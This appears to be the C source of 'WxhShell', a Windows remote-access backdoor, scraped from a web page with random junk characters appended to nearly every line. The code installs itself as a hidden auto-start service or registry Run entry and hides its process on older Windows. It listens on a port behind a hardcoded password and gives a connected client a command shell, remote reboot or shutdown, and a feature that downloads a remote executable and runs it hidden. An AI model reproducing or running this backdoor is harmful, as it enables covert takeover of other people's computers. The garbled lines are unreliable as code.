    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p|VgtQ/ )%  
    else { d(;Qe}ok>  
    closesocket(wsh); DT>Giic  
    ExitThread(0); aDVBi: _  
    } TZ]o6Bb  
    break; \,yX3R3}.~  
    } kac]Rh8vO  
  // 获取shell 4 X6_p(  
  case 's': { !&@!:=X,  
    CmdShell(wsh); 46M?Gfd,X  
    closesocket(wsh); bs\7 juHt  
    ExitThread(0); OjBg$f~0F  
    break; E~'QC  
  } Afo qCF  
  // 退出 B&4NdL/  
  case 'x': { 9xIz[`)i.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ("ulL5  
    CloseIt(wsh); ff.;6R\  
    break; i8> ^{GODR  
    } [5$Y>Tr!  
  // 离开 |(O _K(  
  case 'q': { ul[+vpH9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +oRwXO3W  
    closesocket(wsh); LM?UV)  
    WSACleanup(); 8ZvozQE  
    exit(1); wU)vJsOq  
    break; +N>&b%  
        } oO~LiK>  
  } @/0-`Y@?  
  } ^{w]r5d  
;_?RPWZ;MO  
  // 提示信息 o+ 0"@B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H?W8_XiN  
} hF7#i_UN<  
  } =#sr4T  
Uh8c!CA8:\  
  return; "[p-Iy1  
} \1cJ?/$_Of  
?(P3ZTk?.  
// shell模块句柄 :igURr  
int CmdShell(SOCKET sock) V j"B/@  
{ j SXVLyz  
STARTUPINFO si; y759S)U>>p  
ZeroMemory(&si,sizeof(si)); B kWoK/f4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2'5%EQW;0y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *:hHlH* t1  
PROCESS_INFORMATION ProcessInfo; {8Uk]   
char cmdline[]="cmd"; z 2Rg`1B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )TV{n#n  
  return 0; R3ru<u>k&  
} sqP (1|9  
1*u i|fuK  
// 自身启动模式 <zhN7="  
int StartFromService(void) k^v P|*eu  
{ ?^z.WQ|f@  
typedef struct E4dN,^_ F!  
{ '+*{u]\  
  DWORD ExitStatus; FCMV1,  
  DWORD PebBaseAddress; + 4*jO5EZ  
  DWORD AffinityMask; +YK/^;Th  
  DWORD BasePriority; gdkQ h_\  
  ULONG UniqueProcessId; >)p8^jX   
  ULONG InheritedFromUniqueProcessId; ^YwTO/Q|  
}   PROCESS_BASIC_INFORMATION; |Wzdu2T  
^E349c-|  
PROCNTQSIP NtQueryInformationProcess; %^ z## 7^  
n#lZRwhq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^-GzWT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M5>cYVG  
?7"6d p_K  
  HANDLE             hProcess; =w <;tb  
  PROCESS_BASIC_INFORMATION pbi; sGs_w:Hn  
7.N~e}p 8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \OX;ZVb?5  
  if(NULL == hInst ) return 0; fNTe_akp  
eJ O+MurO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sAec*Q(R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }Uc)iNU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >p|tIST  
mcFJ__3MAV  
  if (!NtQueryInformationProcess) return 0; x\MzMQ#Bf  
xgV(0H}Mf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0.}WZAYy~  
  if(!hProcess) return 0; ygn]f*;?kw  
QKt[Kte  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JXA!l ?%  
!<2%N3l  
  CloseHandle(hProcess); Mp`2[S@$  
 8%W(",nd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 /dy@'  
if(hProcess==NULL) return 0; "ABg,^jf  
MmPLJ  
HMODULE hMod; s 8 c#_  
char procName[255]; WY 'QhieH  
unsigned long cbNeeded; F.[E;gOTo  
q"O4}4`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zEYT,l  
mxQPOu  
  CloseHandle(hProcess); >^5U XQr  
Bc^ MZ~+ip  
if(strstr(procName,"services")) return 1; // 以服务启动 JNZ  O7s  
mM6X0aM  
  return 0; // 注册表启动 i{+W62k*  
} Sdn4y(&TP  
Td"_To@jd  
// 主模块 "cVJqW  
int StartWxhshell(LPSTR lpCmdLine) K~DQUmU@  
{ ] 3UlF'{  
  SOCKET wsl; oPCtLz}z  
BOOL val=TRUE; x'IYWo ]  
  int port=0; (_aM26s  
  struct sockaddr_in door; gJUawK  
ndCHWhi  
  if(wscfg.ws_autoins) Install(); *[SOz)  
P UJkC  
port=atoi(lpCmdLine); 48 n5Y~YS  
gc KXda(  
if(port<=0) port=wscfg.ws_port; >.X& v  
?\7$63gBH  
  WSADATA data; !:<(p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #Z)8,N  
l k?@ =U~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7)U08"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (o5^@aDr  
  door.sin_family = AF_INET; V0ig#?]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S7Tc9"oqV  
  door.sin_port = htons(port); @P@j9yR  
]W9{<+&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { aIXN wnq  
closesocket(wsl); HJ]9e  
return 1; U6/$CH<pe  
} #o/  
Z>)M{25  
  if(listen(wsl,2) == INVALID_SOCKET) { g&<3Kl  
closesocket(wsl); TyG;BF|rwk  
return 1; jf WZLb)  
} ;[,r./XmH  
  Wxhshell(wsl); f+xhS,iDR  
  WSACleanup(); T4lE-g2%M  
<T|?`;K  
return 0; W#@Mx  
V9dJNt'Ui  
} 41Nm+$m  
zD z"Dn9  
// 以NT服务方式启动 ;?K>dWf3f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) } S,KUH.  
{ 2QN ~E  
DWORD   status = 0; "1iLfQ  
  DWORD   specificError = 0xfffffff; zZ*\v  
^0fe:ac;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bnYd19>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LZ 3PQL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a58]#L~  
  serviceStatus.dwWin32ExitCode     = 0; 5H!6 #pqM  
  serviceStatus.dwServiceSpecificExitCode = 0; LeT OVgjA|  
  serviceStatus.dwCheckPoint       = 0; )U5Ba^"fI  
  serviceStatus.dwWaitHint       = 0; }JlrWJRi  
L$ki>._i\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d09qZj>  
  if (hServiceStatusHandle==0) return; r;C BA'Z  
W~i599!v  
status = GetLastError(); $ctpg9 7  
  if (status!=NO_ERROR) 1X,\:F.-+  
{ 6Ex 16  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f(Uo?_as  
    serviceStatus.dwCheckPoint       = 0; ];63QJU  
    serviceStatus.dwWaitHint       = 0; 'n dXM   
    serviceStatus.dwWin32ExitCode     = status; Fd(o8z8Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; ucwUeRw,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JMVh\($,x  
    return; Sz'H{?"  
  } :5, k64'D  
E$1P H)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; | ycN)zuE  
  serviceStatus.dwCheckPoint       = 0; H b}(.`  
  serviceStatus.dwWaitHint       = 0; T}r}uw`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7LrWS83  
} )r|Pm-:A{  
cf{rK`Ff^  
// 处理NT服务事件,比如:启动、停止 IQNvhl.{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cI/Puh^3  
{ r' E|6_0  
switch(fdwControl) mi& mQQ  
{ f~ -qjEWm  
case SERVICE_CONTROL_STOP: .;,` bH0  
  serviceStatus.dwWin32ExitCode = 0; g* DBW,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N`xXH  
  serviceStatus.dwCheckPoint   = 0; 746['sf4c  
  serviceStatus.dwWaitHint     = 0; tYST&5Kh~  
  { |Zm'!-_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JuM4Njz|  
  } O;C C(  
  return; 1}XESAX;0  
case SERVICE_CONTROL_PAUSE: u|EHe"V"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kBr?Q  
  break; G'c6%;0)  
case SERVICE_CONTROL_CONTINUE: <<~swN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &++tp5  
  break; FL?Ndy"I  
case SERVICE_CONTROL_INTERROGATE: h4geoC_W2  
  break; x$+g/7*  
}; 5q95.rw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ToE^%J4  
} @ ?CEi#-  
0Ma3  
// 标准应用程序主函数 KnxK9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) W>cHZ. _  
{ m$!Ex}2  
r[W Ir|r7  
// 获取操作系统版本 sHn-#SGm  
OsIsNt=GetOsVer(); gl>%ADOB@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;{:bq`56f  
f*E#E=j  
  // 从命令行安装 gt|:K)[,6  
  if(strpbrk(lpCmdLine,"iI")) Install(); q)QM+4  
RM6*c .  
  // 下载执行文件 _sX@BE  
if(wscfg.ws_downexe) { JK9 J;c#T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GS&iSjw  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^\3r}kJ0Lp  
} 7AuzGA0y  
1%Su~Z"W>  
if(!OsIsNt) { rfH Az  
// 如果时win9x,隐藏进程并且设置为注册表启动 >(BAIjF E\  
HideProc(); ?v@pB>NZ  
StartWxhshell(lpCmdLine); 3Xl!Z^W  
} p|RFpn2ygF  
else 6!$2nK+  
  if(StartFromService()) (y!V0iy]  
  // 以服务方式启动 l0nm>ps'D  
  StartServiceCtrlDispatcher(DispatchTable); !63]t?QXMG  
else vHM,_I{  
  // 普通方式启动 zn2Qp  
  StartWxhshell(lpCmdLine); %pBc]n@_  
Z>(K|3_  
return 0; 5Zy%Nam'gN  
} u)9YRMl  
?my2dd,|  
"[`/J?W  
CA]u3bf~  
=========================================== b<\aJb{2  
lqZUU92;  
qj:\ )#I  
x03@}M1  
QUK v :;  
b<8,'QgB  
" #iVr @|,  
1dl(`=^X  
#include <stdio.h> c$b~? Mx  
#include <string.h> M&J$9X  
#include <windows.h> I08W I u  
#include <winsock2.h> +V9<ug6 T  
#include <winsvc.h> ='Fh^]*5  
#include <urlmon.h> Apbgm[m|{  
|<!xD iB  
#pragma comment (lib, "Ws2_32.lib") M+GtUE~"  
#pragma comment (lib, "urlmon.lib") nNpXkI:  
82KWe=  
#define MAX_USER   100 // 最大客户端连接数 /4{IxQk  
#define BUF_SOCK   200 // sock buffer vu|-}v?:  
#define KEY_BUFF   255 // 输入 buffer -h%1rw  
4gh` >  
#define REBOOT     0   // 重启 l9vJ]   
#define SHUTDOWN   1   // 关机 V(P 1{g  
"5b4fQ;x  
#define DEF_PORT   5000 // 监听端口  s4vj  
nXAGwU8a  
#define REG_LEN     16   // 注册表键长度 bmI6OIWl  
#define SVC_LEN     80   // NT服务名长度 bu,xIT^  
Rg%Xy`gS  
// 从dll定义API 3S{3AmKj?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^F g!.X_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oz&RNB.K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4b  1a?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "9O8#i<Nr  
DyM<aT  
// wxhshell配置信息 h {VdW}g  
struct WSCFG { K8 Hj)$E61  
  int ws_port;         // 监听端口 #8r1<`']!  
  char ws_passstr[REG_LEN]; // 口令 )(-aw,i K  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1a_;(T  
  char ws_regname[REG_LEN]; // 注册表键名 S0H|:J  
  char ws_svcname[REG_LEN]; // 服务名 4GG0jCNk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }.N~jx0R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c_Jcy   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1{.5X8y1x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i#:M2&twE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CS\8ej}y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )*nZ6Cg'  
L!0}&i;u~5  
}; YYF.0G}  
0S&C[I o6  
// default Wxhshell configuration K96N{"{iI%  
struct WSCFG wscfg={DEF_PORT, y1#*c$ O  
    "xuhuanlingzhe", sGO+O$J  
    1, >oL| nwn  
    "Wxhshell", VU;98  
    "Wxhshell", 5`Y>!| Ab  
            "WxhShell Service", 46gDoSS  
    "Wrsky Windows CmdShell Service", u-@;Q<v$  
    "Please Input Your Password: ", rAh|r}R  
  1, ,*Wp$  
  "http://www.wrsky.com/wxhshell.exe", %hi]oz  
  "Wxhshell.exe" &?Z<"+B8S  
    }; P1dFoQz  
hr`,s!0Y  
// 消息定义模块 KskPFXxP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [ i8Ju  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0.0r?T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JQ9+kZ  
char *msg_ws_ext="\n\rExit."; .$a|&P=S  
char *msg_ws_end="\n\rQuit."; 'RZ0,SK'  
char *msg_ws_boot="\n\rReboot..."; cS(=wC  
char *msg_ws_poff="\n\rShutdown..."; lY[\eQ 1:  
char *msg_ws_down="\n\rSave to "; Qb8Z+7  
o]@'R<F(u  
char *msg_ws_err="\n\rErr!"; ?G 'sb}.  
char *msg_ws_ok="\n\rOK!"; K&BaGrR  
R{UZCFZ  
char ExeFile[MAX_PATH]; Zx^R-9  
int nUser = 0; gdkHaLL"  
HANDLE handles[MAX_USER]; A@jBn6  
int OsIsNt; #@m6ag.  
J+l#!gk$!  
SERVICE_STATUS       serviceStatus; &Xh=bM'/%m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uTNy{RBD+  
uoTc c|Kc  
// 函数声明 A9y@v{txN  
int Install(void); ]sJjV A  
int Uninstall(void); m'WGK`WIm  
int DownloadFile(char *sURL, SOCKET wsh); BFZ\\rN`  
int Boot(int flag); ?I"FmJ;  
void HideProc(void); ?KG4Z  
int GetOsVer(void); ~(]'ah,  
int Wxhshell(SOCKET wsl); Au"BDP  
void TalkWithClient(void *cs); TGuCIc0B{  
int CmdShell(SOCKET sock); t(1gJZs>kX  
int StartFromService(void); T'a&  
int StartWxhshell(LPSTR lpCmdLine); `a5,5}7v%`  
A`1-c   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &'u%|A@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ';LsEI[  
<K <|G  
// 数据结构和表定义 <SiJA`(7  
SERVICE_TABLE_ENTRY DispatchTable[] = )i[K1$x2  
{ F&HvSt}l5  
{wscfg.ws_svcname, NTServiceMain}, _mTNK^gB  
{NULL, NULL} `2`h4[^ [X  
}; # blh9.V&F  
pV*d"~T  
// 自我安装 @ 1FWBH~  
int Install(void) jQ['f\R  
{ [ nLd>2P  
  char svExeFile[MAX_PATH]; `KUL 4) g~  
  HKEY key; g ,yB^^%  
  strcpy(svExeFile,ExeFile); GW2v&Ul7(  
K~+x@O*  
// 如果是win9x系统,修改注册表设为自启动 A>6_h1  
if(!OsIsNt) { Awe'MGp%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x\pygzQ/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]F #0to  
  RegCloseKey(key); f{U,kCv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?f*>=;7=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j-v/;7s/B  
  RegCloseKey(key); Sg1 ,9[pb  
  return 0; m}t`43}QE  
    } 8# IEE|1  
  } m5 l&  
} 3v3`d+;&  
else { S2?)Sb`  
0aGAF ]  
// 如果是NT以上系统,安装为系统服务 eBqF@'DQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e?WI=Og  
if (schSCManager!=0) gB0Q0d3\G,  
{ wrVR[v>E<  
  SC_HANDLE schService = CreateService %>t4ib_8  
  ( +1Pu29B0  
  schSCManager, caZEZk#r;  
  wscfg.ws_svcname, $E^*^({  
  wscfg.ws_svcdisp, ~zDFL15w  
  SERVICE_ALL_ACCESS, JC9OL.Ob  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `[~LMV&2U  
  SERVICE_AUTO_START, sI@kS ^  
  SERVICE_ERROR_NORMAL, OT#foP   
  svExeFile, aZ}z/.b]  
  NULL, (, $Lp0mB7  
  NULL, n +dRAIqB  
  NULL, 5"w%  
  NULL, Tx(=4ALY  
  NULL 7eG@)5Uy  
  ); ,.V=y%  
  if (schService!=0) aZCxyoh+  
  { XlJ+:st  
  CloseServiceHandle(schService); 5D>cbzP@  
  CloseServiceHandle(schSCManager); XQcE  ZJ2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'Me(qpsq  
  strcat(svExeFile,wscfg.ws_svcname); 8xHjdQr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }R`}Ey|{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =6B I[_0  
  RegCloseKey(key); hroRDD   
  return 0; F8B:P7I  
    } 8},fu3Z  
  } JB HnJm  
  CloseServiceHandle(schSCManager); r6 L  
} !%QbE[Kl>  
} Tx/KL%X  
!={QL:  
return 1; ]% UAN_T  
} n yNHjn |W  
jyC>~}?  
// 自我卸载 hcQv!!Q"k$  
int Uninstall(void) |2&|#K4k^  
{ BA_l*h%=Cc  
  HKEY key; }te dh  
7G_OFD  
if(!OsIsNt) { 8TO5j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Job&qW9W`  
  RegDeleteValue(key,wscfg.ws_regname); kaVYe)~  
  RegCloseKey(key); HK<oNr.d52  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hYh~[Kr^@^  
  RegDeleteValue(key,wscfg.ws_regname); 6H:EBj54?  
  RegCloseKey(key); {=_xze)  
  return 0; Y 4*?QBYA  
  } *'R2Lo<C  
} >IHf5})R  
} 0!`!I0  
else { eb<' >a  
g= s2t"&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;+Mr|vweTC  
if (schSCManager!=0) DkBVk+  
{ e3kdIOu5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IE&G7\>(yO  
  if (schService!=0) [q!)Y:|u_>  
  { IF3V5Q  
  if(DeleteService(schService)!=0) { _x?S0R1  
  CloseServiceHandle(schService); m\ /V0V\  
  CloseServiceHandle(schSCManager); \>4x7mF!  
  return 0; WI54xu1M  
  } *JVJKqed  
  CloseServiceHandle(schService); :#UN^"(m}  
  } q|e<b  
  CloseServiceHandle(schSCManager); qFjnuQ,w  
} 92L{be; SY  
} 8C2!Wwz`J8  
VB{G% !}  
return 1;  Fr9_!f  
} FBrJVaF  
)F:UkS  
// 从指定url下载文件 eXMl3Lxf  
int DownloadFile(char *sURL, SOCKET wsh) C-ipxL"r  
{ HO;,Ya^l  
  HRESULT hr; }pv<<7}|  
char seps[]= "/"; U KdCG.E9^  
char *token; jI807g+  
char *file; vC5y]1QDd  
char myURL[MAX_PATH]; z#sSLE.$Z  
char myFILE[MAX_PATH]; P4~C0z  
8 9f{8B]z  
strcpy(myURL,sURL); mKBPIQ+ZS  
  token=strtok(myURL,seps); 1PT0<C-  
  while(token!=NULL) kam \dn04  
  { !,PoH  
    file=token; a5%IjgQ&z  
  token=strtok(NULL,seps); sTO9>~sj  
  } Z6oA>D  
0G/_"} @  
GetCurrentDirectory(MAX_PATH,myFILE); )UG<KcdI  
strcat(myFILE, "\\"); +)TOcxF%  
strcat(myFILE, file); !u|s| 6{\  
  send(wsh,myFILE,strlen(myFILE),0); Sc&p*G  
send(wsh,"...",3,0); `<d{(9:+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6w^Fee`>]  
  if(hr==S_OK) gNzamorv[  
return 0; h-[FUPfuw  
else Mhze !!  
return 1; b `.h+=3  
JV9Ft,xk  
} X.!|#FWb+  
e5fzV.'5  
// 系统电源模块 $9O%,U@  
int Boot(int flag) :[7.YQ   
{ GFtE0IQ  
  HANDLE hToken; L<TL6  
  TOKEN_PRIVILEGES tkp; _M7NL^B&  
wmG[*a_H  
  if(OsIsNt) { x$aFJ CL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d512Y[ R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z[ ml;?  
    tkp.PrivilegeCount = 1; J2~oIe2!+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "+J[7p}`@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I%31MU9  
if(flag==REBOOT) { pwO U6A!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j#E&u*IR  
  return 0; G=%SMl>[  
} mmrz:_  
else { >vY5%%}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j /=4f�  
  return 0; .[4Dv t|>6  
} F^|4nBd*ub  
  } 6)~J5Fb  
  else { \)n'Ywr  
if(flag==REBOOT) { >0qe*4n|M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iu 6NIy7D  
  return 0; l@ W?qw  
} @.h|T)Zyr  
else { )s4a<S c]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z gDc=  
  return 0; seo.1.Da2  
} }~`l!ApD  
} j -j,0!T~b  
)YP 9  
return 1; "kT?9&  
} wsLfp82  
Ykd< }KE>  
// win9x进程隐藏模块 =HkB>w)h  
void HideProc(void) x4vowF  
{ ..hD_k  
_lj&}>l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :Pf2oQ  
  if ( hKernel != NULL ) N61\]BN<  
  { r*t\\2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BTu_$5F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <i!7f26r  
    FreeLibrary(hKernel); CA{(x(W\:  
  } COf>H0^%Q  
.IJgkP)!]  
return; ESAFsJ$r;  
} s5'So@L8  
e[a?5,s2  
// 获取操作系统版本 :F`yAB3  
int GetOsVer(void) -<tfbaA  
{ 'u{DFMB-A  
  OSVERSIONINFO winfo; d]6#pSE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U}Aoz|  
  GetVersionEx(&winfo); J_Pb R b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b)Px  
  return 1; oCftI':@  
  else o|BEY3|  
  return 0; To"J>:l  
} ir ^XZVR  
wNgS0{}&`  
// 客户端句柄模块 *N #{~  
int Wxhshell(SOCKET wsl) k)l^ ;x-  
{ VU[4 W8f  
  SOCKET wsh; ry%Fs&V*>  
  struct sockaddr_in client; #n8jn#  
  DWORD myID; Wa|lWIMK  
%"0g}tK6  
  while(nUser<MAX_USER) -O?}-6,_Z  
{ `Mp-4)mn  
  int nSize=sizeof(client); %IbG@ }54  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p/k6}Wl  
  if(wsh==INVALID_SOCKET) return 1; rpu{YC1C%  
mt(2HBNoz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qOk=:1`3  
if(handles[nUser]==0) 3'zm)SXJ  
  closesocket(wsh); fudIUG.  
else Tn7(A^h'  
  nUser++; UoiXIf_Q  
  } 8#MiM . f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i #%17}  
aA-gl9  
  return 0; Uj[E_4h  
} |Vs?yW  
<8Zm}-U  
// 关闭 socket i!JVGs  
void CloseIt(SOCKET wsh) CF:s@Z+  
{ |4@su"OA  
closesocket(wsh); c)tG1|Og]  
nUser--; ?{ 0MF  
ExitThread(0); {yPiBu  
} hvS4"% \  
f2y:K6$'l*  
// 客户端请求句柄 xC,;IS k,  
void TalkWithClient(void *cs) d;$<K  
{ 0cwb^ffN  
e5 ?;{H  
  SOCKET wsh=(SOCKET)cs; TEK]$%2  
  char pwd[SVC_LEN]; eaxp(VX?oy  
  char cmd[KEY_BUFF]; [*k25N  
char chr[1]; Iw<: k  
int i,j; dk^Uf84.Gr  
kCu"G  
  while (nUser < MAX_USER) { ~X`_ g/5X  
};:+0k/  
if(wscfg.ws_passstr) { MZ{gU>K+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _8U 5mW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u,R;=DNl  
  //ZeroMemory(pwd,KEY_BUFF); z[I3k  
      i=0; `;9Z?]}`  
  while(i<SVC_LEN) { 1%nE  
FesXY856E  
  // 设置超时 [Ie;Jd>gG  
  fd_set FdRead; J}9 I5O  
  struct timeval TimeOut; DhAQ|SdCf  
  FD_ZERO(&FdRead); K; +w'/{  
  FD_SET(wsh,&FdRead); 6jKZ.S+s)  
  TimeOut.tv_sec=8; GuV.7&!x  
  TimeOut.tv_usec=0; ,y+}0q-Ou  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _U"9#<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SeC[,  
i'$V'x'k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I+?9}t  
  pwd=chr[0]; 8~=<!(M)m/  
  if(chr[0]==0xd || chr[0]==0xa) { _^2rRz  
  pwd=0; 9"=1 O  
  break; 'V=i;2mB*  
  } (Mk9##R#  
  i++; .^fVm  
    } 7ktSj}7W]  
5p.vo"7  
  // 如果是非法用户,关闭 socket q;^Q1[Ari  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p6MjVu  
} CBqeO@M  
&.zG?e.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ne=?'e4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0~(K@U>#  
6z6\-45  
while(1) { 4pin\ZS:C  
DHUK_#!  
  ZeroMemory(cmd,KEY_BUFF); g69^D  
(9#$za>  
      // 自动支持客户端 telnet标准   _</>`P[  
  j=0; (Q_J{[F  
  while(j<KEY_BUFF) { K/Q%tr1W0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zz)[4G  
  cmd[j]=chr[0]; B#>7;xy>  
  if(chr[0]==0xa || chr[0]==0xd) { \F$Vm'f_  
  cmd[j]=0; r~K5jL%z9  
  break; y@#JzfY?Hr  
  } M+7&kt0;  
  j++; r%craf  
    } hu ]l{TXi  
FN$sST  
  // 下载文件 kM0TQX)$m  
  if(strstr(cmd,"http://")) { Bb,l.w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3Kx&+  
  if(DownloadFile(cmd,wsh)) =bx;TV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TpB4VNi/<  
  else 4"om;+\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I%^Bl:M  
  } >/r^l)`9_f  
  else { MO_-7,.y  
W> +/N4  
    switch(cmd[0]) { o*fNY  
  n(}W[bZ4  
